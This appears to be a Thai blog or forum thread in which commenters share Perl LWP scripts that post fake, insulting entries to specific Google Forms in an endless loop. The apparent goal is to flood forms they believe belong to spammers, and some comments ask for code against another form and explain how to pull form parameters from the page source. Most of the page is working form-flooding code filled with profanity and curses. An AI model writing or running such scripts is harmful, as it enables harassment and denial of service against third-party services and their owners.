use LWP::UserAgent;

my $browser = LWP::UserAgent->new(agent => ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);

my $count = 1;
while(1){
my $target = ‘https://spreadsheets.google.com/viewform?formkey=dDA0VWs4VTNKaUhWMS1VblFKSDlwOXc6MQ’;
my $name = ‘คนที่มึงสแปมไงสัส’;
my $mf = int rand ['ชาย','หญิง'];
my $age = ’19′;
my $tel = ’191112′;
my $email = ‘FuckYou@tocom.com’;
my $job = ‘POD’;
my $home = ‘พ่องมรึงตายยยยยยย !!!’;
my $iphone = int rand ['อยากได้มากๆ','ได้ก็ดี','เฉยๆ','มีแล้ว ขอเงินพอ'];
my $trip = int rand ['อยากไปมาก บอกมาทำไง','ได้ไปก็ดี','เคยไปแล้ว'];
my $time = int rand ['Full time','Part time'];
my $bome = $browser->post($target,
[
'entry.0.single' =>$name,
'entry.1.group' =>$mf,
'entry.2.single' =>$age,
'entry.3.single' =>$tel,
'entry.4.single' =>$email,
'entry.5.single' =>$job,
'entry.6.single' =>$home,
'entry.7.group' =>$iphone,
'entry.8.group' =>$trip,
'entry.9.group' =>$time,
'pageNumber' =>'0',
'backupCache' => undef,
'submit' =>'ส่ง'
]
);
if($bome->is_success && $bome->content =~/Thanks!/i){
print “[+] success $count\n”;
$count++;
}else{
print “[-] fail\n”;
}
}

ตอนเรียน คอมครั้งแรก นี่ เรียนได้ 1 เทอม แล้วก็ย้าย รร.
ซึ่ง ตอนนั้น ยังเป็น diskdrive 5.2″
เข้าไป เรียน dos + เวิดราชวิถี
ใครพิมพ์ตามบนกระดานเสร็จก่อนก็จะได้เล่นเกมส์ก่อน

แต่เรื่องพิมพ์ นี้ไม่ต้องห่วงครับ เพราะ ว่า ผมเล่น มุข เล่นเกมส์
ตั้งแต่เริ่มเรียน แล้วพอจะหมดคาบค่อย ไป save จากเครื่องชาวบ้านเอา *0* (ออกแวว ตั้งแต่ ม.2 )

สรุป ความรู้สึก มันเหมือนเรียนพิมพ์ดีดตามที่เขียนบนกระดานมากกว่าครับ ไม่ได้ความรู้อะไรมาเล๊ยยยย Y_Y

ปล. ความเชื่อ สมัยนั้น ไวรัส นี่มันมาจากแผ่น disk โดนฝุ่นครับ
ทีนี้ คนเรียนคอม ก็ต้องเสียเงิน ซื้อกล่องมาใส่ แผ่น disk 5.2″

เพราะ ถ้าแผ่นมันโดนฝุ่นแล้ว มันก็จะติดไวรัส … พอมันติดไวรัสก็จะอดเล่นเกมส์ครับ (ลงทุนเพิ่อเกมส์ กันซะ จริงๆ)

my $browser = LWP::UserAgent->new(agent => ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);

my $count = 1;
while(1){
my $target = ‘https://spreadsheets.google.com/viewform?formkey=dHU1aEg3U0JDQXVkQ19vZ0pHamdYSWc6MQ’;
my $name = ‘เวลา spam ชาวบ้านมรึงมีความสุขมากมั้ย ???’;
my $sex = int rand ['ชาย','หญิง','อื่นๆ'];
my $age = ‘ขอให้ธุรกิจมรึงเจริญลงๆ ยิ่งขึ้นไปนะครับ’;
my $mail = ‘youmail@youcom.grean’;
my $tel = ’191′;
my $addr = ‘FB กรูที่โดนมึงสแปม’;
my $job = int rand ['นักศึกษา','พนักงานประจำ','ธุรกิจส่วนตัว','ราชการ','อื่นๆ'];
my $know = int rand ['รู้','ไม่รู้'];
my $join = int rand ['ร่วมงานกับเราแบบ Full time','ร่วมงานกับเราแบบ part-time(เลือกงานเวลาได้ตามเหมาะสม)']
my $bome = $browser->post($target,
[
'entry.0.single' =>$name,
'entry.1.group' =>$sex,
'entry.2.single' =>$age,
'entry.3.single' =>$mail,
'entry.4.single' =>$tel,
'entry.5.single' =>$addr,
'entry.6.group' =>$job,
'entry.7.group' =>$know,
'entry.8.group' =>$join,
'pageNumber' =>'0',
'backupCache' => undef,
'submit' =>'ส่ง'
]
);
if($bome->is_success && $bome->content =~/Thanks/i){
print “[+] success $count\n”;
$count++;
}else{
print “[-] fail\n”;
}
}

แบบนี้ถูกรึปล่าวครับ

https://spreadsheets.google.com/viewform?formkey=dDFuYjZ3T1BHU2ZwR1dUdnNDSDFCNFE6MA

/* ===============[code]===================*/
use LWP::UserAgent;

my $browser = LWP::UserAgent->new(agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',);

my $count = 1;
while(1){
my $target = 'https://spreadsheets.google.com/viewform?formkey=dDFuYjZ3T1BHU2ZwR1dUdnNDSDFCNFE6MA';
my $name = 'เวลา spam มากมั้ย ???';
my $sure = 'ขอให้ล่มจม';
my $age = 'ขอให้ ธุรกิจ เจริญลงๆๆๆๆๆ เยอะๆ นะครับ';
my $job = int rand ['นักเรียน/นักศึกษา', 'พนักงานประจำ', 'รับราชการ','ธุรกิจส่วนตัว','kuy'];
my $addr = 'facebook กรู ที่โดนมึง spam';
my $tel = '196';
my $email = 'localhost@youcom.com';
my $time = int rand ['อังคาร 18.00 ', 'พฤหัสบดี 18.00', 'เสาร์ 10.30','เสาร์ 14.00','เสาร์ 18.30','อาทิตย์ 12.00-18.00'];
my $know = int rand ['Face book','Hi 5','E-mail','E-mail'];
my $bome = $browser->post($target,
[
'entry.0.single' =>$name,
'entry.2.single' =>$sure,
'entry.4.single' =>$age,
'entry.6.group' =>$job,
'entry.1.single' =>$addr,
'entry.8.single' =>$tel,
'entry.10.single' =>$email,
'entry.12.group' =>$time,
'entry.15.group' =>$know,
'pageNumber' =>'0',
'backupCache' => undef,
'submit' =>'ส่ง'
]
);
if($bome->is_success && $bome->content =~/Thanks/i){
print "[+] success $count\n";
$count++;
}else{
print "[-] fail \n";
}
}

/*============[End]====================*/

Google เอกสารพบข้อผิดพลาดของเซิร์ฟเวอร์ ถ้าการโหลดหน้าเว็บใหม่ไม่สามารถแก้ไขปัญหานี้ โปรด ติดต่อ เรา

ขออภัย มีข้อผิดพลาดของเซิร์ฟเวอร์เกิดขึ้น โปรดรอสักครู่แล้วลองอีกครั้ง
ถ้าต้องการสนทนาเกี่ยวกับปัญหานี้หรือ ปัญหาอื่น โปรดเข้าสู่ ฟอรัมความ ช่วยเหลือของ Google เอกสาร ถ้าต้องการดูรายการปัญหาที่ทราบ โปรดดูที่ หน้า ปัญหาที่ทราบของ Google เอกสาร

ขออภัย และขอบคุณสำหรับความช่วยเหลือของคุณ!
- ทีมงาน Google เอกสาร

https://spreadsheets.google.com/viewform?formkey=dDA0VWs4VTNKaUhWMS1VblFKSDlwOXc6MQ

ลองลิ้งนี้ไห้หน่อยครับ ขอเป็น code นะครับ อยากเปรียบเทียบกับที่ลองทำ ขอบคุณครับ

——————-
view src ดู ใน tag form (ตรง form action=[ตรงนี้ คือ link $target])

ส่วนค่า param ให้ดูใน tag input ที่อยู่ใน form

… งงมั้ยหว่า

มีเ่รื่องอยากจะภามหวะ เกี่ยวกะ perl ที่มึงเชี่ยวๆอยู่ 55+

หากเราผิด งั้นพวกโปรแกรมที่ ดูข้อมูลจาก ตลาดหุ้นก็คงผิดไปด้วย

เป็นกำลังใจ ท่าน สร้างสันสิ่งดีๆ ออกมาเรื่อยๆ นะครับ หาก สู้ต่อไปนะครับ